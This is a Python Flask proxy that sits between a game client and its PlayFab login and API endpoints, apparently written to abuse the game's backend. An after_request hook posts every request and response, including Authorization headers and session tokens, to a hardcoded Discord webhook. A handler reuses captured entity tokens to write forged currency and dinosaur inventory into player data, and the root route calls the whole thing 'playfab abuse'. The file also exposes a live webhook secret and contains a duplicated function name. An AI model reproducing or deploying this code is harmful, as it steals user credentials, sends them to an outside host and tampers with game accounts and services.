import io
import json
import requests
from flask import Flask, jsonify, request, Response, g
import uuid
from random import randint

app = Flask(__name__)

hook = "https://discord.com/api/webhooks/1419916332912214138/exkXCInZJVZctD0KCDD0o1M0nZ5sf8k-2EIZ7YimCB3wOCshfy7gD4DdnyLEMShgomRG"
tid = "34dc6" 
uzrid = ["1", "25265994936358493", "7176441539139102", "24769616259392819", "24567740962906614"]

@app.before_request
def save_request_data():
    g.request_body = request.get_data()
    g.request_headers = dict(request.headers)
    g.query_params = request.args.to_dict()
    g.auth_header = request.headers.get("Authorization")

def log_to_discord_file(req_bytes, resp_bytes, path, method, status, req_headers=None, resp_headers=None, query_params=None, auth_header=None):
    try:
        try:
            req_json = json.loads(req_bytes) if req_bytes else {}
        except:
            req_json = {"raw": req_bytes.decode("utf-8", errors="replace") if req_bytes else ""}
        try:
            resp_json = json.loads(resp_bytes) if resp_bytes else {}
        except:
            resp_json = {"raw": resp_bytes.decode("utf-8", errors="replace") if resp_bytes else ""}

        log_entry = {
            "path": path,
            "method": method,
            "status": status,
            "query_params": query_params or {},
            "auth_header": auth_header,
            "request_headers": dict(req_headers or {}),
            "request_body": req_json,
            "response_headers": dict(resp_headers or {}),
            "response_body": resp_json
        }

        # Convert log entry to bytes in memory
        log_bytes = json.dumps(log_entry, indent=2).encode("utf-8")
        file_like = io.BytesIO(log_bytes)
        file_like.name = f"log_{method}_{path.replace('/', '_')}.txt"

        # Send to Discord
        requests.post(hook, files={"file": file_like}, data={"content": f"Log for {method} {path}"})

    except Exception as e:
        print("Discord file logging failed:", e)


@app.after_request
def log_request_response(response):
    try:
        log_to_discord_file(
            req_bytes=g.get("request_body", b""),
            resp_bytes=response.get_data(),
            path=request.path,
            method=request.method,
            status=response.status_code,
            req_headers=g.get("request_headers"),
            resp_headers=dict(response.headers),
            query_params=g.get("query_params"),
            auth_header=g.get("auth_header")
        )
    except Exception as e:
        print("Logging failed:", e)
    return response 

    
def abcd(entity_token, playfab_id):
    body = {
        "CustomTags": "",
        "Data": {
          "PlayerData": "{\"_currencyList\": [{\"_id\": \"bones\", \"_amount\": 50000000}, {\"_id\": \"nugs\", \"_amount\": 30000000}], \"_dinosList\": [{\"CommonData\": {\"LocalId\": \"titan01\"}, \"InstanceData\": {\"CloudId\": \"1152d64a-b10e-4d15-bb1e-358a0dfedfd0\", \"AcquireDate\": \"1759071577\", \"LastUsedDate\": \"1759071577\"}, \"Nickname\": \"TITAN01\", \"Skindex\": 1, \"DinoType\": 1, \"CurrentStats\": {\"XP\": 0, \"Level\": 35}, \"Loadout\": {\"SaddleId\": \"\", \"PassengerSaddleId\": \"\", \"CollarId\": \"\"}, \"CurrentEvolutionId\": \"\"}, {\"CommonData\": {\"LocalId\": \"titan01\"}, \"InstanceData\": {\"CloudId\": \"5e610303-cb85-4861-9080-9d30d71b6a15\", \"AcquireDate\": \"1759071577\", \"LastUsedDate\": \"1759071577\"}, \"Nickname\": \"TITAN01\", \"Skindex\": 2, \"DinoType\": 2, \"CurrentStats\": {\"XP\": 0, \"Level\": 35}, \"Loadout\": {\"SaddleId\": \"\", \"PassengerSaddleId\": \"\", \"CollarId\": \"\"}, \"CurrentEvolutionId\": \"\"}, {\"CommonData\": {\"LocalId\": \"titan01\"}, \"InstanceData\": {\"CloudId\": \"5e610303-cb85-4861-9080-9d30d71b6a16\", \"AcquireDate\": \"1759071577\", \"LastUsedDate\": \"1759071577\"}, \"Nickname\": \"TITAN01\", \"Skindex\": 3, \"DinoType\": 3, \"CurrentStats\": {\"XP\": 0, \"Level\": 35}, \"Loadout\": {\"SaddleId\": \"\", \"PassengerSaddleId\": \"\", \"CollarId\": \"\"}, \"CurrentEvolutionId\": \"\"}, {\"CommonData\": {\"LocalId\": \"titan01\"}, \"InstanceData\": {\"CloudId\": \"5e610303-cb85-4861-9080-9d30d71b6a18\", \"AcquireDate\": \"1759071577\", \"LastUsedDate\": \"1759071577\"}, \"Nickname\": \"TITAN01\", \"Skindex\": 4, \"DinoType\": 4, \"CurrentStats\": {\"XP\": 0, \"Level\": 35}, \"Loadout\": {\"SaddleId\": \"\", \"PassengerSaddleId\": \"\", \"CollarId\": \"\"}, \"CurrentEvolutionId\": \"\"}, {\"CommonData\": {\"LocalId\": \"titan01\"}, \"InstanceData\": {\"CloudId\": \"5e610303-cb85-4861-9080-9d30d71b6a1b\", \"AcquireDate\": \"1759071577\", \"LastUsedDate\": \"1759071577\"}, \"Nickname\": \"TITAN01\", \"Skindex\": 5, \"DinoType\": 5, \"CurrentStats\": {\"XP\": 0, \"Level\": 35}, \"Loadout\": {\"SaddleId\": \"\", \"PassengerSaddleId\": \"\", \"CollarId\": \"\"}, \"CurrentEvolutionId\": \"\"}, {\"CommonData\": {\"LocalId\": \"titan01\"}, \"InstanceData\": {\"CloudId\": \"5e610303-cb85-4861-9080-9d30d71b6a1f\", \"AcquireDate\": \"1759071577\", \"LastUsedDate\": \"1759071577\"}, \"Nickname\": \"TITAN01\", \"Skindex\": 6, \"DinoType\": 6, \"CurrentStats\": {\"XP\": 0, \"Level\": 35}, \"Loadout\": {\"SaddleId\": \"\", \"PassengerSaddleId\": \"\", \"CollarId\": \"\"}, \"CurrentEvolutionId\": \"\"}, {\"CommonData\": {\"LocalId\": \"titan01\"}, \"InstanceData\": {\"CloudId\": \"5e610303-cb85-4861-9080-9d30d71b6a24\", \"AcquireDate\": \"1759071577\", \"LastUsedDate\": \"1759071577\"}, \"Nickname\": \"TITAN01\", \"Skindex\": 7, \"DinoType\": 7, \"CurrentStats\": {\"XP\": 0, \"Level\": 35}, \"Loadout\": {\"SaddleId\": \"\", \"PassengerSaddleId\": \"\", \"CollarId\": \"\"}, \"CurrentEvolutionId\": \"\"}, {\"CommonData\": {\"LocalId\": \"titan01\"}, \"InstanceData\": {\"CloudId\": \"5e610303-cb85-4861-9080-9d30d71b6a2a\", \"AcquireDate\": \"1759071577\", \"LastUsedDate\": \"1759071577\"}, \"Nickname\": \"TITAN01\", \"Skindex\": 8, \"DinoType\": 8, \"CurrentStats\": {\"XP\": 0, \"Level\": 35}, \"Loadout\": {\"SaddleId\": \"\", \"PassengerSaddleId\": \"\", \"CollarId\": \"\"}, \"CurrentEvolutionId\": \"\"}, {\"CommonData\": {\"LocalId\": \"titan01\"}, \"InstanceData\": {\"CloudId\": \"5e610303-cb85-4861-9080-9d30d71b6a31\", \"AcquireDate\": \"1759071577\", \"LastUsedDate\": \"1759071577\"}, \"Nickname\": \"TITAN01\", \"Skindex\": 9, \"DinoType\": 9, \"CurrentStats\": {\"XP\": 0, \"Level\": 35}, \"Loadout\": {\"SaddleId\": \"\", \"PassengerSaddleId\": \"\", \"CollarId\": \"\"}, \"CurrentEvolutionId\": \"\"}, {\"CommonData\": {\"LocalId\": \"titan01\"}, \"InstanceData\": {\"CloudId\": \"5e610303-cb85-4861-9080-9d30d71b6a39\", \"AcquireDate\": \"1759071577\", \"LastUsedDate\": \"1759071577\"}, \"Nickname\": \"TITAN01\", \"Skindex\": 10, \"DinoType\": 10, \"CurrentStats\": {\"XP\": 0, \"Level\": 35}, \"Loadout\": {\"SaddleId\": \"\", \"PassengerSaddleId\": \"\", \"CollarId\": \"\"}, \"CurrentEvolutionId\": \"\"}, {\"CommonData\": {\"LocalId\": \"tank05\"}, \"InstanceData\": {\"CloudId\": \"5e610303-cb85-4861-9080-9d30d71b6a42\", \"AcquireDate\": \"1759071577\", \"LastUsedDate\": \"1759071577\"}, \"Nickname\": \"TANK05\", \"Skindex\": 11, \"DinoType\": 11, \"CurrentStats\": {\"XP\": 0, \"Level\": 35}, \"Loadout\": {\"SaddleId\": \"\", \"PassengerSaddleId\": \"\", \"CollarId\": \"\"}, \"CurrentEvolutionId\": \"\"}, {\"CommonData\": {\"LocalId\": \"tank05\"}, \"InstanceData\": {\"CloudId\": \"5e610303-cb85-4861-9080-9d30d71b6a4c\", \"AcquireDate\": \"1759071577\", \"LastUsedDate\": \"1759071577\"}, \"Nickname\": \"TANK05\", \"Skindex\": 12, \"DinoType\": 12, \"CurrentStats\": {\"XP\": 0, \"Level\": 35}, \"Loadout\": {\"SaddleId\": \"\", \"PassengerSaddleId\": \"\", \"CollarId\": \"\"}, \"CurrentEvolutionId\": \"\"}, {\"CommonData\": {\"LocalId\": \"tank05\"}, \"InstanceData\": {\"CloudId\": \"5e610303-cb85-4861-9080-9d30d71b6a57\", \"AcquireDate\": \"1759071577\", \"LastUsedDate\": \"1759071577\"}, \"Nickname\": \"TANK05\", \"Skindex\": 13, \"DinoType\": 13, \"CurrentStats\": {\"XP\": 0, \"Level\": 35}, \"Loadout\": {\"SaddleId\": \"\", \"PassengerSaddleId\": \"\", \"CollarId\": \"\"}, \"CurrentEvolutionId\": \"\"}, {\"CommonData\": {\"LocalId\": \"tank05\"}, \"InstanceData\": {\"CloudId\": \"5e610303-cb85-4861-9080-9d30d71b6a63\", \"AcquireDate\": \"1759071577\", \"LastUsedDate\": \"1759071577\"}, \"Nickname\": \"TANK05\", \"Skindex\": 14, \"DinoType\": 14, \"CurrentStats\": {\"XP\": 0, \"Level\": 35}, \"Loadout\": {\"SaddleId\": \"\", \"PassengerSaddleId\": \"\", \"CollarId\": \"\"}, \"CurrentEvolutionId\": \"\"}, {\"CommonData\": {\"LocalId\": \"tank05\"}, \"InstanceData\": {\"CloudId\": \"5e610303-cb85-4861-9080-9d30d71b6a70\", \"AcquireDate\": \"1759071577\", \"LastUsedDate\": \"1759071577\"}, \"Nickname\": \"TANK05\", \"Skindex\": 15, \"DinoType\": 15, \"CurrentStats\": {\"XP\": 0, \"Level\": 35}, \"Loadout\": {\"SaddleId\": \"\", \"PassengerSaddleId\": \"\", \"CollarId\": \"\"}, \"CurrentEvolutionId\": \"\"}, {\"CommonData\": {\"LocalId\": \"tank05\"}, \"InstanceData\": {\"CloudId\": \"5e610303-cb85-4861-9080-9d30d71b6a7e\", \"AcquireDate\": \"1759071577\", \"LastUsedDate\": \"1759071577\"}, \"Nickname\": \"TANK05\", \"Skindex\": 16, \"DinoType\": 16, \"CurrentStats\": {\"XP\": 0, \"Level\": 35}, \"Loadout\": {\"SaddleId\": \"\", \"PassengerSaddleId\": \"\", \"CollarId\": \"\"}, \"CurrentEvolutionId\": \"\"}, {\"CommonData\": {\"LocalId\": \"tank05\"}, \"InstanceData\": {\"CloudId\": \"5e610303-cb85-4861-9080-9d30d71b6a8d\", \"AcquireDate\": \"1759071577\", \"LastUsedDate\": \"1759071577\"}, \"Nickname\": \"TANK05\", \"Skindex\": 17, \"DinoType\": 1, \"CurrentStats\": {\"XP\": 0, \"Level\": 35}, \"Loadout\": {\"SaddleId\": \"\", \"PassengerSaddleId\": \"\", \"CollarId\": \"\"}, \"CurrentEvolutionId\": \"\"}, {\"CommonData\": {\"LocalId\": \"tank05\"}, \"InstanceData\": {\"CloudId\": \"5e610303-cb85-4861-9080-9d30d71b6a9d\", \"AcquireDate\": \"1759071577\", \"LastUsedDate\": \"1759071577\"}, \"Nickname\": \"TANK05\", \"Skindex\": 18, \"DinoType\": 2, \"CurrentStats\": {\"XP\": 0, \"Level\": 35}, \"Loadout\": {\"SaddleId\": \"\", \"PassengerSaddleId\": \"\", \"CollarId\": \"\"}, \"CurrentEvolutionId\": \"\"}, {\"CommonData\": {\"LocalId\": \"tank05\"}, \"InstanceData\": {\"CloudId\": \"5e610303-cb85-4861-9080-9d30d71b6aae\", \"AcquireDate\": \"1759071577\", \"LastUsedDate\": \"1759071577\"}, \"Nickname\": \"TANK05\", \"Skindex\": 19, \"DinoType\": 3, \"CurrentStats\": {\"XP\": 0, \"Level\": 35}, \"Loadout\": {\"SaddleId\": \"\", \"PassengerSaddleId\": \"\", \"CollarId\": \"\"}, \"CurrentEvolutionId\": \"\"}, {\"CommonData\": {\"LocalId\": \"tank05\"}, \"InstanceData\": {\"CloudId\": \"5e610303-cb85-4861-9080-9d30d71b6ac0\", \"AcquireDate\": \"1759071577\", \"LastUsedDate\": \"1759071577\"}, \"Nickname\": \"TANK05\", \"Skindex\": 20, \"DinoType\": 4, \"CurrentStats\": {\"XP\": 0, \"Level\": 35}, \"Loadout\": {\"SaddleId\": \"\", \"PassengerSaddleId\": \"\", \"CollarId\": \"\"}, \"CurrentEvolutionId\": \"\"}, {\"CommonData\": {\"LocalId\": \"tank03\"}, \"InstanceData\": {\"CloudId\": \"5e610303-cb85-4861-9080-9d30d71b6ad3\", \"AcquireDate\": \"1759071577\", \"LastUsedDate\": \"1759071577\"}, \"Nickname\": \"TANK03\", \"Skindex\": 21, \"DinoType\": 5, \"CurrentStats\": {\"XP\": 0, \"Level\": 35}, \"Loadout\": {\"SaddleId\": \"\", \"PassengerSaddleId\": \"\", \"CollarId\": \"\"}, \"CurrentEvolutionId\": \"\"}, {\"CommonData\": {\"LocalId\": \"tank03\"}, \"InstanceData\": {\"CloudId\": \"5e610303-cb85-4861-9080-9d30d71b6ae7\", \"AcquireDate\": \"1759071577\", \"LastUsedDate\": \"1759071577\"}, \"Nickname\": \"TANK03\", \"Skindex\": 22, \"DinoType\": 6, \"CurrentStats\": {\"XP\": 0, \"Level\": 35}, \"Loadout\": {\"SaddleId\": \"\", \"PassengerSaddleId\": \"\", \"CollarId\": \"\"}, \"CurrentEvolutionId\": \"\"}, {\"CommonData\": {\"LocalId\": \"tank03\"}, \"InstanceData\": {\"CloudId\": \"5e610303-cb85-4861-9080-9d30d71b6afc\", \"AcquireDate\": \"1759071577\", \"LastUsedDate\": \"1759071577\"}, \"Nickname\": \"TANK03\", \"Skindex\": 23, \"DinoType\": 7, \"CurrentStats\": {\"XP\": 0, \"Level\": 35}, \"Loadout\": {\"SaddleId\": \"\", \"PassengerSaddleId\": \"\", \"CollarId\": \"\"}, \"CurrentEvolutionId\": \"\"}, {\"CommonData\": {\"LocalId\": \"tank03\"}, \"InstanceData\": {\"CloudId\": \"5e610303-cb85-4861-9080-9d30d71b6b12\", \"AcquireDate\": \"1759071577\", \"LastUsedDate\": \"1759071577\"}, \"Nickname\": \"TANK03\", \"Skindex\": 24, \"DinoType\": 8, \"CurrentStats\": {\"XP\": 0, \"Level\": 35}, \"Loadout\": {\"SaddleId\": \"\", \"PassengerSaddleId\": \"\", \"CollarId\": \"\"}, \"CurrentEvolutionId\": \"\"}, {\"CommonData\": {\"LocalId\": \"tank03\"}, \"InstanceData\": {\"CloudId\": \"5e610303-cb85-4861-9080-9d30d71b6b29\", \"AcquireDate\": \"1759071577\", \"LastUsedDate\": \"1759071577\"}, \"Nickname\": \"TANK03\", \"Skindex\": 25, \"DinoType\": 9, \"CurrentStats\": {\"XP\": 0, \"Level\": 35}, \"Loadout\": {\"SaddleId\": \"\", \"PassengerSaddleId\": \"\", \"CollarId\": \"\"}, \"CurrentEvolutionId\": \"\"}, {\"CommonData\": {\"LocalId\": \"tank03\"}, \"InstanceData\": {\"CloudId\": \"5e610303-cb85-4861-9080-9d30d71b6b41\", \"AcquireDate\": \"1759071577\", \"LastUsedDate\": \"1759071577\"}, \"Nickname\": \"TANK03\", \"Skindex\": 26, \"DinoType\": 10, \"CurrentStats\": {\"XP\": 0, \"Level\": 35}, \"Loadout\": {\"SaddleId\": \"\", \"PassengerSaddleId\": \"\", \"CollarId\": \"\"}, \"CurrentEvolutionId\": \"\"}, {\"CommonData\": {\"LocalId\": \"tank03\"}, \"InstanceData\": {\"CloudId\": \"5e610303-cb85-4861-9080-9d30d71b6b5a\", \"AcquireDate\": \"1759071577\", \"LastUsedDate\": \"1759071577\"}, \"Nickname\": \"TANK03\", \"Skindex\": 27, \"DinoType\": 11, \"CurrentStats\": {\"XP\": 0, \"Level\": 35}, \"Loadout\": {\"SaddleId\": \"\", \"PassengerSaddleId\": \"\", \"CollarId\": \"\"}, \"CurrentEvolutionId\": \"\"}, {\"CommonData\": {\"LocalId\": \"tank03\"}, \"InstanceData\": {\"CloudId\": \"5e610303-cb85-4861-9080-9d30d71b6b74\", \"AcquireDate\": \"1759071577\", \"LastUsedDate\": \"1759071577\"}, \"Nickname\": \"TANK03\", \"Skindex\": 28, \"DinoType\": 12, \"CurrentStats\": {\"XP\": 0, \"Level\": 35}, \"Loadout\": {\"SaddleId\": \"\", \"PassengerSaddleId\": \"\", \"CollarId\": \"\"}, \"CurrentEvolutionId\": \"\"}, {\"CommonData\": {\"LocalId\": \"tank03\"}, \"InstanceData\": {\"CloudId\": \"5e610303-cb85-4861-9080-9d30d71b6b8f\", \"AcquireDate\": \"1759071577\", \"LastUsedDate\": \"1759071577\"}, \"Nickname\": \"TANK03\", \"Skindex\": 29, \"DinoType\": 13, \"CurrentStats\": {\"XP\": 0, \"Level\": 35}, \"Loadout\": {\"SaddleId\": \"\", \"PassengerSaddleId\": \"\", \"CollarId\": \"\"}, \"CurrentEvolutionId\": \"\"}, {\"CommonData\": {\"LocalId\": \"tank03\"}, \"InstanceData\": {\"CloudId\": \"5e610303-cb85-4861-9080-9d30d71b6bab\", \"AcquireDate\": \"1759071577\", \"LastUsedDate\": \"1759071577\"}, \"Nickname\": \"TANK03\", \"Skindex\": 30, \"DinoType\": 14, \"CurrentStats\": {\"XP\": 0, \"Level\": 35}, \"Loadout\": {\"SaddleId\": \"\", \"PassengerSaddleId\": \"\", \"CollarId\": \"\"}, \"CurrentEvolutionId\": \"\"}]}"
  }
}
    givehead = {"X-EntityToken": entity_token, "Content-Type": "application/json"}
    try:
        resp = requests.post(f"https://{tid}.playfabapi.com/Client/UpdateUserData",headers=givehead,json=body,timeout=10)
        try:
            jayson = resp.json()
        except:
            jayson = {"error": "json is fucked"}
    except Exception as e:
        return "failed to except the exception!1!1", 
    
Vercel = "https://playfab-ug.vercel.app/api/verifyoculuslogin"                   
@app.route("/v1/stop/skidding/or/will/add/authentication/please/just/stop/<path:path>", methods=["GET","POST","PUT","DELETE","PATCH","OPTIONS"])
def forward(path):
    raw_data = request.get_data()
    headers = {k: v for k, v in request.headers.items() if k.lower() != "host"}

    try:
        resp = requests.request(method=request.method,url=Vercel,headers=headers,data=raw_data,params=request.args,allow_redirects=False)
        if path == "leaking":
            if request.is_json:
                data = request.get_json()
            else:
                data = request.form.to_dict()
                try:
                    data2 = resp.json()
                    entityToken = data2.get("entityToken")
                    playFabId = data2.get("playFabId")
                    if entityToken and playFabId:
                        abcd(entityToken, playFabId)
                except Exception as e:
                    return "505", 403
                
        excluded = ["content-encoding","content-length","transfer-encoding","connection"]
        response_headers = [(k,v) for k,v in resp.headers.items() if k.lower() not in excluded]
        return Response(resp.content, status=resp.status_code, headers=response_headers)
    except Exception as e:
        error_body = str(e).encode()
        return jsonify({"error": str(e)}), 500

@app.route("/v1/stop/skidding/or/will/add/authentication/please/just/playfab/<path:path>", methods=["GET","POST","PUT","DELETE","PATCH","OPTIONS"])
def forward(path):
    raw_data = request.get_data()
    headers = {k: v for k, v in request.headers.items() if k.lower() != "host"}

    try:
        resp = requests.request(method=request.method,url=f"https://34dc6.playfabapi.com/{path}",headers=headers,data=raw_data,params=request.args,allow_redirects=False)    
        excluded = ["content-encoding","content-length","transfer-encoding","connection"]
        response_headers = [(k,v) for k,v in resp.headers.items() if k.lower() not in excluded]
        return Response(resp.content, status=resp.status_code, headers=response_headers)
    except Exception as e:
        error_body = str(e).encode()
        return jsonify({"error": str(e)}), 500

@app.route("/")
def yay():
    return "made by thunda1!1!, if your trying to see how it works it's legit just a <path:path> route and playfab abuse thats it. please dm me with a screenshot of this and ill give you the src"

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000, debug=True)

















































































